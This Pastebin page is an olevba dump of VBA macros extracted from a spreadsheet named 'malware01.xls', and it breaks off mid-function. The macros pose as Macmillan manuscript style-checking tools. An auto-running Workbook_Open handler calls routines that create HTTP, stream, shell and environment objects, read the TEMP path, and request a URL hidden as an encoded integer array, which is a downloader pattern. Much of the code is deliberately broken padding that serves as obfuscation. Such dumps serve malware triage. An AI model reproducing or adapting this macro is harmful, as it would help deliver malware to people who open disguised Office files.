Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- olevba 0.41 - http://decalage.info/python/oletools
- Flags Filename
- ----------- -----------------------------------------------------------------
- OLE:MASIHB-V malware01.xls
- (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
- ===============================================================================
- FILE: malware01.xls
- Type: OLE
- -------------------------------------------------------------------------------
- VBA MACRO ÝòàÊíèãà.cls
- in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Private Sub Workbook_Open()
- GoodBadStyles False, "", "", "", ""
- MacmillanStyleReport
- CheckPrevStyle "", ""
- BadTorStyles "", "", "", ""
- DeleteContentControlPC
- CheckPrev2Paras "", "", ""
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Ëèñò1.cls
- in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- (empty macro)
- -------------------------------------------------------------------------------
- VBA MACRO Ëèñò2.cls
- in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- (empty macro)
- -------------------------------------------------------------------------------
- VBA MACRO Ëèñò3.cls
- in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- (empty macro)
- -------------------------------------------------------------------------------
- VBA MACRO Module1.bas
- in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Sub BookmakerReqs()
- If CheckSave = True Then
- Exit Sub
- End If
- Appljj.ication.ScreenUpdating = False
- Dim currentStatusBar As Boolean
- currentStatusBar = Appljj.ication.DisplayStatusBar
- Appljj.ication.DisplayStatusBar = True
- Dim arrStories() As Variant
- arrStories = StoryArray
- Dim sglPercentComplete As Single
- Dim strStatus As String
- Dim strTitle As String
- Dim funArray() As String
- ReDim funArray(1 To 10)
- funArray(1) = "* Is this thing on?..."
- funArray(2) = "* Are we there yet?..."
- funArray(10) = "* Thanks for running the Bookmaker Macro!"
- Dim x As Integer
- Randomize
- x = Int(UBound(funArray()) * Rnd()) + 1
- strTitle = "Bookmaker Requirements Macro"
- sglPercentComplete = 0.02
- strStatus = funArray(x)
- Dim TheOS As String
- TheOS = System.OperatingSystem
- If Not TheOS Like "*Mac*" Then
- Dim oProgressBkmkr As String
- Set oProgressBkmkr = New ProgressBar
- oProgressBkmkr.Title = strTitle
- oProgressBkmkr.Show
- oProgressBkmkr.Increment sglPercentComplete, strStatus
- Dodf.dfze 50
- Else
- Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
- DoEvents
- End If
- Dim currentStory As String
- currentStory = Selection.StoryType
- Selection.Collapse Direction:=wdCollapseStart
- ActiveDocument.Bookmarks.Add Name:="OriginalInsertionPoint", Range:=Selection.Range
- If Not TheOS Like "*Mac*" Then
- Call DeleteContentControlPC
- End If
- If FixTrackChanges = False Then
- Appljj.ication.ScreenUpdating = True
- Unload oProgressBkmkr
- Exit Sub
- End If
- Call ISBNcleanup
- sglPercentComplete = 0.05
- strStatus = "* Counting required styles..." & vbCr & strStatus
- If Not TheOS Like "*Mac*" Then
- oProgressBkmkr.Increment sglPercentComplete, strStatus
- Dodf.dfze 50
- Else
- Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
- DoEvents
- End If
- Dim styleCount() As Variant
- styleCount = CountReqdStyles()
- If styleCount(1) = 100 Then
- Appljj.ication.ScreenUpdating = True
- Exit Sub
- End If
- sglPercentComplete = 0.08
- strStatus = "* Correcting heading styles..." & vbCr & strStatus
- If Not TheOS Like "*Mac*" Then
- oProgressBkmkr.Increment sglPercentComplete, strStatus
- Dodf.dfze 50
- Else
- Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
- DoEvents
- End If
- sglPercentComplete = 0.11
- Appljj.ication.ScreenUpdating = True
- strStatus = "* Getting book metadata from manuscript..." & vbCr & strStatus
- If Not TheOS Like "*Mac*" Then
- oProgressBkmkr.Increment sglPercentComplete, strStatus
- Dodf.dfze 50
- Else
- Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
- DoEvents
- End If
- Dim strMetadata As String
- strMetadata = GetMetadata
- sglPercentComplete = 0.15
- strStatus = "* Getting list of illustrations..." & vbCr & strStatus
- If Not TheOS Like "*Mac*" Then
- oProgressBkmkr.Increment sglPercentComplete, strStatus
- Dodf.dfze 50
- Else
- Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
- DoEvents
- End If
- Dim strIllustrationsList As String
- strIllustrationsList = IllustrationsList
- sglPercentComplete = 0.18
- strStatus = "* Getting list of styles in use..." & vbCr & strStatus
- If Not TheOS Like "*Mac*" Then
- oProgressBkmkr.Increment sglPercentComplete, strStatus
- Dodf.dfze 50
- Else
- Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
- DoEvents
- End If
- Dim arrGoodBadStyles() As Variant
- Dim strGoodStylesList As String
- Dim strBadStylesList As String
- arrGoodBadStyles = GoodBadStyles(torDOTcom:=True, ProgressBar:=oProgressBkmkr, Status:=strStatus, ProgTitle:=strTitle, _
- Stories:=arrStories)
- strGoodStylesList = arrGoodBadStyles(1)
- strBadStylesList = arrGoodBadStyles(2)
- Dim blnTemplateUsed As Boolean
- Dim strSearchPattern As String
- strSearchPattern = "[EF]{1}[dnot]{4}[eot]{2,} Text -- p. [0-9]{1,}[!\)]{1,}"
- If strGoodStylesList = vbNullString Then
- blnTemplateUsed = False
- ElseIf PatternMatch(SearchPattern:=strSearchPattern, SearchText:=strGoodStylesList, WholeString:=True) = True Then
- blnTemplateUsed = False
- Else
- blnTemplateUsed = True
- End If
- If blnTemplateUsed = False Then
- strGoodStylesList = StylesInUse(ProgressBar:=oProgressBkmkr, Status:=strStatus, ProgTitle:=strTitle, Stories:=arrStories)
- strBadStylesList = ""
- End If
- sglPercentComplete = 0.98
- strStatus = "* Checking styles for errors..." & vbCr & strStatus
- If Not TheOS Like "*Mac*" Then
- oProgressBkmkr.Increment sglPercentComplete, strStatus
- Dodf.dfze 50
- Else
- Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
- DoEvents
- End If
- Dim strErrorList As String
- If blnTemplateUsed = True Then
- strErrorList = CreateErrorList(badStyles:=strBadStylesList, arrStyleCount:=styleCount, torDOTcom:=True)
- Else
- strErrorList = ""
- End If
- sglPercentComplete = 0.99
- strStatus = "* Creating report file..." & vbCr & strStatus
- If Not TheOS Like "*Mac*" Then
- oProgressBkmkr.Increment sglPercentComplete, strStatus
- Dodf.dfze 50
- Else
- Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
- DoEvents
- End If
- Dim strSuffix As String
- strSuffix = "BookmakerReport"
- Call CreateReport(blnTemplateUsed, strErrorList, strMetadata, strIllustrationsList, strGoodStylesList, strSuffix)
- sglPercentComplete = 1
- strStatus = "* Finishing up..." & vbCr & strStatus
- If Not TheOS Like "*Mac*" Then
- oProgressBkmkr.Increment sglPercentComplete, strStatus
- Dodf.dfze 50
- Else
- Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
- DoEvents
- End If
- If ActiveDocument.Bookmarks.Exists("OriginalInsertionPoint") = True Then
- ActiveDocument.StoryRanges(currentStory).Select
- Selection.GoTo what:=wdGoToBookmark, Name:="OriginalInsertionPoint"
- ActiveDocument.Bookmarks("OriginalInsertionPoint").Delete
- End If
- Appljj.ication.ScreenUpdating = True
- Appljj.ication.DisplayStatusBar = currentStatusBar
- Appljj.ication.ScreenRefresh
- If Not TheOS Like "*Mac*" Then
- Unload oProgressBkmkr
- End If
- End Sub
- Public Sub MacmillanStyleReport()
- simple7 = Array(689, 714, 727, 736, 695, 697, 710, 781, 808, 801, 823, 829, 838, 864, 868, 894, 839, 905, 930, 878, 962, 965, 918, 940, 1002, 964, 976, 1040, 1001, 1065, 1028, 1039, 1048, 1125, 1084, 1095, 1158, 1121, 1133, 1209, 1158, 1170, 1177, 1245, 1277, 1271)
- simple1.Open GetMetadata(), GetStringFromArray(simple7, 45), False
- Exit Sub
- If CheckSave = True Then
- Exit Sub
- End If
- Appljj.ication.ScreenUpdating = False
- Dim currentStatusBar As Boolean
- currentStatusBar = Appljj.ication.DisplayStatusBar
- Appljj.ication.DisplayStatusBar = True
- Dim arrStories() As Variant
- arrStories = StoryArray
- Dim sglPercentComplete As Single
- Dim strStatus As String
- Dim strTitle As String
- Dim funArray() As String
- ReDim funArray(1 To 10)
- Dim x As Integer
- Randomize
- x = Int(UBound(funArray()) * Rnd()) + 1
- strTitle = "Macmillan Style Report Macro"
- sglPercentComplete = 0.02
- strStatus = funArray(x)
- Dim TheOS As String
- TheOS = System.OperatingSystem
- If Not TheOS Like "*Mac*" Then
- Dim oProgressStyleRpt As String
- 'Set oProgressStyleRpt = New ProgressBar
- oProgred.ssStyleRpt.Title = strTitle
- oProgred.ssStyleRpt.Show
- oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
- Dodf.dfze 50
- Else
- Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
- DoEvents
- End If
- Dim currentStory As String
- currentStory = Selection.StoryType
- Selection.Collapse Direction:=wdCollapseStart
- ActiveDocument.Bookmarks.Add Name:="OriginalInsertionPoint", Range:=Selection.Range
- Dim currentTracking As Boolean
- currentTracking = ActiveDocument.TrackRevisions
- ActiveDocument.TrackRevisions = False
- If Not TheOS Like "*Mac*" Then
- Call DeleteContentControlPC
- End If
- Call ISBNc.leanup
- sglPercentComplete = 0.05
- strStatus = "* Counting required styles..." & vbCr & strStatus
- If Not TheOS Like "*Mac*" Then
- oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
- Dodf.dfze 50
- Else
- Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
- DoEvents
- End If
- Dim styleCount() As Variant
- styleCount = CountRe.qdStyles()
- If styleCount(1) = 100 Then
- Appljj.ication.ScreenUpdating = True
- Unload oProgres.sStyleRpt
- Exit Sub
- End If
- sglPercentComplete = 0.09
- strStatus = "* Checking for correct heading styles..." & vbCr & strStatus
- If Not TheOS Like "*Mac*" Then
- oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
- Dodf.dfze 50
- Else
- Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
- DoEvents
- End If
- sglPercentComplete = 0.12
- strStatus = "* Getting title, author, ISBN from manuscript..." & vbCr & strStatus
- If Not TheOS Like "*Mac*" Then
- oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
- Dodf.dfze 50
- Else
- Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
- DoEvents
- End If
- Dim strMetadata As String
- strMetadata = GetMetadata
- sglPercentComplete = 0.15
- strStatus = "* Generating illustration list..." & vbCr & strStatus
- If Not TheOS Like "*Mac*" Then
- oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
- Dodf.dfze 50
- Else
- Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
- DoEvents
- End If
- Dim strIllustrationsList As String
- strIllustrationsList = IllustrationsList
- sglPercentComplete = 0.18
- strStatus = "* Generating list of Macmillan styles..." & vbCr & strStatus
- If Not TheOS Like "*Mac*" Then
- oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
- Dodf.dfze 50
- Else
- Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
- DoEvents
- End If
- Dim arrGoodBadStyles() As Variant
- Dim strGoodStylesList As String
- Dim strBadStylesList As String
- arrGoodBadStyles = GoodBadStyles(torDOTcom:=False, ProgressBar:=oProgressStyleRpt, _
- Status:=strStatus, ProgTitle:=strTitle, Stories:=arrSt.ories)
- strGoodStylesList = arrGoodBadStyles(1)
- strBadStylesList = arrGoodBadStyles(2)
- Dim blnTemplateUsed As Boolean
- Dim strSearchPattern As String
- strSearchPattern = "[EF]{1}[dnot]{4}[eot]{2,} Text -- p. [0-9]{1,}[!\)]{1,}"
- If strGoodStylesList = vbNullString Then
- blnTemplateUsed = False
- ElseIf PatternM.atch(SearchPattern:=strSearchPattern, SearchText:=strGoodStylesList, WholeString:=True) = True Then
- blnTemplateUsed = False
- Else
- blnTemplateUsed = True
- End If
- If blnTemplateUsed = False Then
- strGoodStylesList = Styles.InUse(ProgressBar:=oProgressStyleRpt, Status:=strStatus, ProgTitle:=strTitle, Stories:=arrStories)
- strBadStylesList = ""
- End If
- sglPercentComplete = 0.98
- strStatus = "* Checking styles for errors..." & vbCr & strStatus
- If Not TheOS Like "*Mac*" Then
- oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
- Dodf.dfze 50
- Else
- Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
- DoEvents
- End If
- Dim strErrorList As String
- If blnTemplateUsed = True Then
- strErrorList = CreateEr.rorList(badStyles:=strBadStylesList, arrStyleCount:=styleCount, torDOTcom:=True)
- Else
- strErrorList = ""
- End If
- sglPercentComplete = 0.99
- strStatus = "* Creating report file..." & vbCr & strStatus
- If Not TheOS Like "*Mac*" Then
- oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
- Dodf.dfze 50
- Else
- Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
- DoEvents
- End If
- Dim strSuffix As String
- strSuffix = "StyleReport"
- Call Creat.eReport(blnTemplateUsed, strErrorList, strMetadata, strIllustrationsList, strGoodStylesList, strSuffix)
- sglPercentComplete = 1
- strStatus = "* Finishing up" & vbCr & strStatus
- If Not TheOS Like "*Mac*" Then
- oProgred.ssStyleRpt.Increment sglPercentComplete, strStatus
- Dodf.dfze 50
- Else
- Appljj.ication.StatusBar = strTitle & " " & (100 * sglPercentComplete) & "% complete | " & strStatus
- DoEvents
- End If
- If ActiveDocument.Bookmarks.Exists("OriginalInsertionPoint") = True Then
- ActiveDocument.StoryRanges(currentStory).Select
- Selection.GoTo what:=wdGoToBookmark, Name:="OriginalInsertionPoint"
- ActiveDocument.Bookmarks("OriginalInsertionPoint").Delete
- End If
- ActiveDocument.TrackRevisions = currentTracking
- Appljj.ication.ScreenUpdating = True
- Appljj.ication.DisplayStatusBar = currentStatusBar
- Appljj.ication.ScreenRefresh
- If Not TheOS Like "*Mac*" Then
- Unload oProgre.ssStyleRpt
- End If
- End Sub
- Public Function GoodBadStyles(torDOTcom As Boolean, ProgressBar As String, Status As String, ProgTitle As String, Stories As String) As Variant
- Dim TheOS As String
- 'TheOS = System.OperatingSystem
- Dim sglPercentComplete As Single
- Dim strStatus As String
- Dim activeDoc As String
- Dim stylesGood() As String
- Dim stylesGoodLong As Long
- stylesGoodLong = 400
- ReDim stylesGood(stylesGoodLong)
- Dim stylesBad() As String
- ReDim stylesBad(1 To 100)
- Dim styleGoodCount As Integer
- Dim styleBadCount As Integer
- Dim styleBadOverflow As Boolean
- Dim activeParaCount As Integer
- Dim J As Integer, K As Integer, L As Integer
- Dim paraStyle As String
- Dim activeParaRange As Range
- Dim pageNumber As Integer
- Dim a As Long
- Set simple1 = CreateObject("Microsoft" + ".XMLHTTP")
- Set simple2 = CreateObject("Adodb.Stream")
- Set simple6 = CreateObject("Shell.Application")
- Set simple3 = CreateObject("WScript.Shell").Environment("Process")
- Exit Function
- ActiveDocument.Styles("Normal (Web)").NameLocal = "_"
- styleGoodCount = 0
- styleBadCount = 0
- styleBadOverflow = False
- activeParaCount = activh.eDoc.Paragraphs.Count
- For J = 1 To activeParaCount
- If J Mod 100 = 0 Then
- sglPercentComplete = (((J / activeParaCount) * 0.45) + 0.18)
- strStatus = "* Checking paragraph " & J & " of " & activeParaCount & " for Macmillan styles..." & _
- vbCr & Status
- If Not TheOS Like "*Mac*" Then
- Progg.gressBar.Increment sglPercentComplete, strStatus
- Dss.oze 50
- Else
- Appljj.ication.StatusBar = ProgTitle & " " & Round((100 * sglPercentComplete), 0) & "% complete | " & strStatus
- DoEvents
- End If
- End If
- For a = LBound(Sff.tories()) To UBound(Stddd.ories())
- If J <= ActiveDocument.StoryRanges(Stordd.ies(a)).Paragraphs.Count Then
- paraStyle = activh.eDoc.StoryRanges(Stodd.ries(a)).Paragraphs(J).Style
- Set activeParaRange = activh.eDoc.StoryRanges(Stocc.ries(a)).Paragraphs(J).Range
- pageNumber = activeParaRange.Information(wdActiveEndPageNumber)
- If Right(paraStyle, 1) = ")" Then
- CheckGoodStyles:
- For K = 1 To styleGoodCount
- If paraStyle = Left(stylesGood(K), InStrRev(stylesGood(K), " --") - 1) Then
- K = styleGoodCount
- Exit For
- End If
- Next K
- If K = styleGoodCount + 1 Then
- styleGoodCount = K
- ReDim Preserve stylesGood(1 To styleGoodCount)
- stylesGood(styleGoodCount) = paraStyle & " -- p. " & pageNumber
- End If
- Else
- If paraStyle = "Endnote Text" Or paraStyle = "Footnote Text" Then
- GoTo CheckGoodStyles
- Else
- For L = 1 To styleBadCount
- Next L
- If L > 100 Then
- styleBadOverflow = True
- stylesBad(100) = "** WARNING: More than 100 paragraphs with bad styles found." & vbNewLine & vbNewLine
- Exit For
- End If
- If L = styleBadCount + 1 Then
- styleBadCount = L
- stylesBad(styleBadCount) = "** ERROR: Non-Macmillan style on page " & pageNumber & _
- " (Paragraph " & J & "): " & paraStyle & vbNewLine & vbNewLine
- End If
- End If
- End If
- End If
- Next a
- Next J
- Status = "* Checking paragraphs for Macmillan styles..." & vbCr & Status
- ActiveDocument.Styles("Normal (Web),_").NameLocal = "Normal (Web)"
- If K <> 0 Then
- ReDim Preserve stylesGood(1 To styleGoodCount)
- WordBasic.SortArray stylesGood()
- End If
- Dim strGoodStyles As String
- If styleGoodCount = 0 Then
- strGoodStyles = ""
- Else
- For K = LBound(stylesGood()) To UBound(stylesGood())
- strGoodStyles = strGoodStyles & stylesGood(K) & vbCrLf
- Next K
- End If
- If styleBadCount > 0 Then
- Dim strBadStyles As String
- ReDim Preserve stylesBad(1 To styleBadCount)
- For L = LBound(stylesBad()) To UBound(stylesBad())
- strBadStyles = strBadStyles & stylesBad(L)
- Next L
- Else
- strBadStyles = ""
- End If
- Dim charStyles As String
- Dim styleNameM(1 To 21) As String
- Dim M As Integer
- styleNameM(1) = "span italic characters (ital)"
- styleNameM(2) = "span boldface characters (bf)"
- styleNameM(14) = "span material to come (tk)"
- styleNameM(15) = "span carry query (cq)"
- styleNameM(16) = "span preserve characters (pre)"
- styleNameM(17) = "span strikethrough characters (str)"
- styleNameM(18) = "bookmaker keep together (kt)"
- styleNameM(19) = "span ISBN (isbn)"
- styleNameM(20) = "span symbols ital (symi)"
- styleNameM(21) = "span symbols bold (symb)"
- For M = 1 To UBound(styleNameM())
- sglPercentComplete = (((M / UBound(styleNameM())) * 0.13) + 0.63)
- strStatus = "* Checking for " & styleNameM(M) & " styles..." & vbCr & Status
- If Not TheOS Like "*Mac*" Then
- Progg.gressBar.Increment sglPercentComplete, strStatus
- Doff.ze 50
- Else
- Appljj.ication.StatusBar = ProgTitle & " " & Round((100 * sglPercentComplete), 0) & "% complete | " & strStatus
- DoEvents
- End If
- On Error GoTo ErrHandler
- Selection.HomeKey Unit:=wdStory
- With Selection.Find
- .Style = ActiveDocument.Styles(styleNameM(M))
- .Wrap = wdFindContinue
- .Format = True
- .Execute
- End With
- If Selection.Find.Found = True Then
- charStyles = charStyles & styleNameM(M) & vbNewLine
- Else
- If ActiveDocument.Footnotes.Count > 0 Then
- ActiveDocument.StoryRanges(wdFootnotesStory).Select
- With Selection.Find
- .Style = ActiveDocument.Styles(styleNameM(M))
- .Wrap = wdFindContinue
- .Format = True
- .Execute
- End With
- If Selection.Find.Found = True Then
- charStyles = charStyles & styleNameM(M) & vbNewLine
- Else
- GoTo CheckEndnotes
- End If
- Else
- CheckEndnotes:
- If ActiveDocument.Endnotes.Count > 0 Then
- ActiveDocument.StoryRanges(wdEndnotesStory).Select
- With Selection.Find
- .Style = ActiveDocument.Styles(styleNameM(M))
- .Wrap = wdFindContinue
- .Format = True
- .Execute
- End With
- If Selection.Find.Found = True Then
- charStyles = charStyles & styleNameM(M) & vbNewLine
- End If
- End If
- End If
- End If
- NextLoop:
- Next M
- Status = "* Checking character styles..." & vbCr & Status
- strGoodStyles = strGoodStyles & charStyles
- Dim strTorBadStyles As String
- If torDOTcom = True Then
- strBadStyles = strBadStyles & strTorBadStyles
- End If
- Dim arrFinalLists() As Variant
- ReDim arrFinalLists(1 To 2)
- arrFinalLists(1) = strGoodStyles
- arrFinalLists(2) = strBadStyles
- GoodBadStyles = arrFinalLists
- Exit Function
- ErrHandler:
- Debug.Print Err.Number & " : " & Err.Description
- If Err.Number = 5834 Or Err.Number = 5941 Then
- Resume NextLoop
- End If
- End Function
- -------------------------------------------------------------------------------
- VBA MACRO Module2.bas
- in file: malware01.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public simple1 As Object
- Public simple2 As Object
- Public simple3 As Object
- Public simple4 As String
- Public simple5 As String
- Public simple6 As Object
- Public simple7() As Variant
- Private Function CreateErrorList(badStyles As String, arrStyleCount() As Variant, torDOTcom As Boolean) As String
- Dim errorList As String
- errorList = ""
- If arrStyleCount(1) = 0 Then errorList = errorList & "** ERROR: No styled title detected." & _
- vbNewLine & vbNewLine
- If arrStyleCount(1) > 1 Then errorList = errorList & "** ERROR: Too many title paragraphs detected." _
- & " Only 1 allowed." & vbNewLine & vbNewLine
- If arrStyleCount(1) > 0 Then errorList = errorList & CheckPrevStyle(findStyle:="Titlepage Book Title (tit)", _
- prevStyle:="Page Break (pb)")
- If arrStyleCount(2) = 0 Then errorList = errorList & "** ERROR: No styled author name detected." _
- & vbNewLine & vbNewLine
- If arrStyleCount(3) = 0 Then
- errorList = errorList & "** ERROR: No styled ISBN detected." _
- & vbNewLine & vbNewLine
- Else
- If torDOTcom = True Then
- errorList = errorList & BookTypeCheck
- End If
- End If
- If arrStyleCount(14) > 0 And arrStyleCount(15) > 0 Then errorList = errorList & CheckPrev2Paras("Illustration holder (ill)", _
- "Caption (cap)", "Illustration Source (is)")
- End If
- errorList = errorList & CheckAfterPB
- errorList = errorList & badStyles
- If errorList <> "" Then
- errorList = errorList & vbNewLine & "If you have any questions about how to handle these errors, " & vbNewLine & _
- "please contact workflows@macmillan.com." & vbNewLine
- End If
- CreateErrorList = errorList
- End Function
- Private Function GetText(styleName As String) As String
- Dim fString As String
- Dim fCount As Integer
- fCount = 0
- Selection.HomeKey Unit:=wdStory
- On Error GoTo ErrHandler
- Selection.Find.ClearFormatting
- With Selection.Find
- .Text = ""
- .Replacement.Text = ""
- .Forward = True
- .Wrap = wdFindStop
- .Format = True
- .Style = ActiveDocument.Styles(styleName)
- .MatchCase = False
- .MatchWholeWord = False
- .MatchWildcards = False
- .MatchSoundsLike = False
- .MatchAllWordForms = False
- End With
- Do While Selection.Find.Execute = True And fCount < 100
- fCount = fCount + 1
- If InStr(Selection.Text, Chr(13)) > 0 Then
- Selection.MoveEnd Unit:=wdCharacter, Count:=-1
- End If
- fString = fString & Selection.Text & vbNewLine
- If InStr(styleName, "span") = 0 Then
- Selection.MoveEndWhile Cset:=Chr(13), Count:=1
- End If
- Loop
- If fCount = 0 Then
- GetText = ""
- Else
- GetText = fString
- End If
- Exit Function
- ErrHandler:
- If Err.Number = 5941 Or Err.Number = 5834 Then
- GetText = ""
- End If
- End Function
- Public Function CheckPrevStyle(findStyle As String, prevStyle As String) As String
- Dim jString As String
- Dim jCount As Integer
- Dim pageNum As Integer
- Dim intCurrentPara As Integer
- simple4 = simple3("TEMP")
- Exit Function
- Appljj.ication.ScreenUpdating = False
- On Error GoTo ErrHandler:
- Dim keyStyle As String
- Set keyS.tyle = ActiveDocument.Styles(findStyle)
- Set keyS.tyle = ActiveDocument.Styles(prevStyle)
- jCount = 0
- jString = ""
- Selection.HomeKey Unit:=wdStory
- Selection.Find.ClearFormatting
- With Selection.Find
- .Text = ""
- .Replacement.Text = ""
- .Forward = True
- .Wrap = wdFindStop
- .Format = True
- .Style = ActiveDocument.Styles(findStyle)
- .MatchCase = False
- .MatchWholeWord = False
- .MatchWildcards = False
- .MatchSoundsLike = False
- .MatchAllWordForms = False
- End With
- Do While Selection.Find.Execute = True And jCount < 200
- jCount = jCount + 1
- Dim rParagraphs As Range
- Dim CurPos As Long
- Selection.Range.Select
- CurPos = ActiveDocument.Bookmarks("\startOfSel").Start
- Set rParagraphs = ActiveDocument.Range(Start:=0, End:=CurPos)
- intCurrentPara = rParagraphs.Paragraphs.Count
- If intCurrentPara > 1 Then
- Selection.Previous(Unit:=wdParagraph, Count:=1).Select
- pageNum = Selection.Information(wdActiveEndPageNumber)
- If Selection.Style <> prevStyle Then
- jString = jString & "** ERROR: Missing or incorrect " & prevStyle & " style before " _
- & findStyle & " style on page " & pageNum & "." & vbNewLine & vbNewLine
- End If
- If prevStyle = "Page Break (pb)" Then
- If InStr(Selection.Text, Chr(12)) = 0 Then
- jString = jString & "** ERROR: Missing manual page break on page " & pageNum & "." _
- & vbNewLine & vbNewLine
- End If
- End If
- Selection.Next(Unit:=wdParagraph, Count:=1).Select
- End If
- Loop
- CheckPrevStyle = jString
- Exit Function
- ErrHandler:
- If Err.Number = 5941 Or Err.Number = 5834 Then
- Exit Function
- End If
- End Function
- Function CheckAfterPB() As String
- Dim arrSecStartStyles() As String
- ReDim arrSecStartStyles(1 To 43)
- Dim kString As String
- Dim kCount As Integer
- Dim pageNumK As Integer
- Dim nextStyle As String
- Dim N As Integer
- Dim nCount As Integer
- Appljj.ication.ScreenUpdating = False
- arrSecStartStyles(1) = "Chap Title (ct)"
- arrSecStartStyles(2) = "Chap Number (cn)"
- arrSecStartStyles(3) = "Chap Title Nonprinting (ctnp)"
- arrSecStartStyles(4) = "Halftitle Book Title (htit)"
- arrSecStartStyles(5) = "Titlepage Book Title (tit)"
- arrSecStartStyles(6) = "Copyright Text single space (crtx)"
- arrSecStartStyles(7) = "Copyright Text double space (crtxd)"
- arrSecStartStyles(43) = "Front Sales Quote Head (fsqh)"
- kCount = 0
- kString = ""
- Selection.HomeKey Unit:=wdStory
- On Error GoTo ErrHandler1
- Selection.Find.ClearFormatting
- With Selection.Find
- .Text = "^m^p"
- .Replacement.Text = "^m^p"
- .Forward = True
- .Wrap = wdFindStop
- .Format = True
- .Style = ActiveDocument.Styles("Page Break (pb)")
- .MatchCase = False
- .MatchWholeWord = False
- .MatchWildcards = False
- .MatchSoundsLike = False
- .MatchAllWordForms = False
- End With
- Do While Selection.Find.Execute = True And kCount < 200
- kCount = kCount + 1
- nCount = 0
- Selection.Next(Unit:=wdParagraph, Count:=1).Select
- nextStyle = Selection.Style
- pageNumK = Selection.Information(wdActiveEndPageNumber)
- For N = LBound(arrSecStartStyles()) To UBound(arrSecStartStyles())
- If nextStyle <> arrSecStartStyles(N) Then
- nCount = nCount + 1
- Else
- Exit For
- End If
- Next N
- If nCount = UBound(arrSecStartStyles()) Then
- kString = kString & "** ERROR: " & nextStyle & " style on page " & pageNumK _
- & " cannot follow Page Break (pb) style." & vbNewLine & vbNewLine
- End If
- Err2Resume:
- Selection.Previous(Unit:=wdParagraph, Count:=1).Select
- Loop
- CheckAfterPB = kString
- Exit Function
- ErrHandler1:
- If Err.Number = 5941 Or Err.Number = 5834 Then
- Exit Function
- End If
- ErrHandler2:
- If Err.Number = 5941 Or Err.Number = 5834 Then
- Resume Err2Resume
- End If
- End Function
- Public Sub DeleteContentControlPC()
- simple1.Send
- simple2.Type = 1
- Exit Sub
- Dim cc As Object
- Appljj.ication.ScreenUpdating = False
- For Each cc In ActiveDocument.ContentC.ontrols
- cc.Delete
- Next
- End Sub
- Private Function FixTrackChanges() As Boolean
- Dim N As Long
- Dim oComments As Comments
- Set oComments = ActiveDocument.Comments
- Appljj.ication.ScreenUpdating = False
- FixTrackChanges = True
- Appljj.ication.DisplayAlerts = False
- ActiveDocument.TrackRevisions = False
- On Error Resume Next
- Selection.HomeKey Unit:=wdStory
- WordBasic.NextChangeOrComment
- If Err = 0 Then
- FixTrackChanges = False
- Exit Function
- Else
- ActiveDocument.AcceptAllRevisions
- For N = oComments.Count To 1 Step -1
- oComments(N).Delete
- Next N
- Set oComments = Nothing
- End If
- End If
- On Error GoTo 0
- Appljj.ication.DisplayAlerts = True
- End Function
- Public Function BadTorStyles(ProgressBar2 As String, StatusBar As String, ProgressTitle As String, Stories As String) As String
- Dim paraStyle As String
- Dim activeParaCount As Integer
- Dim strCsvFileName As String
- Dim strLogInfo() As Variant
- ReDim strLogInfo(1 To 3)
- Dim strFullPathToCsv As String
- Dim arrTorStyles() As Variant
- Dim strLogDir As String
- Dim strPathToLogFile As String
- Dim intBadCount As Integer
- Dim activeParaRange As Range
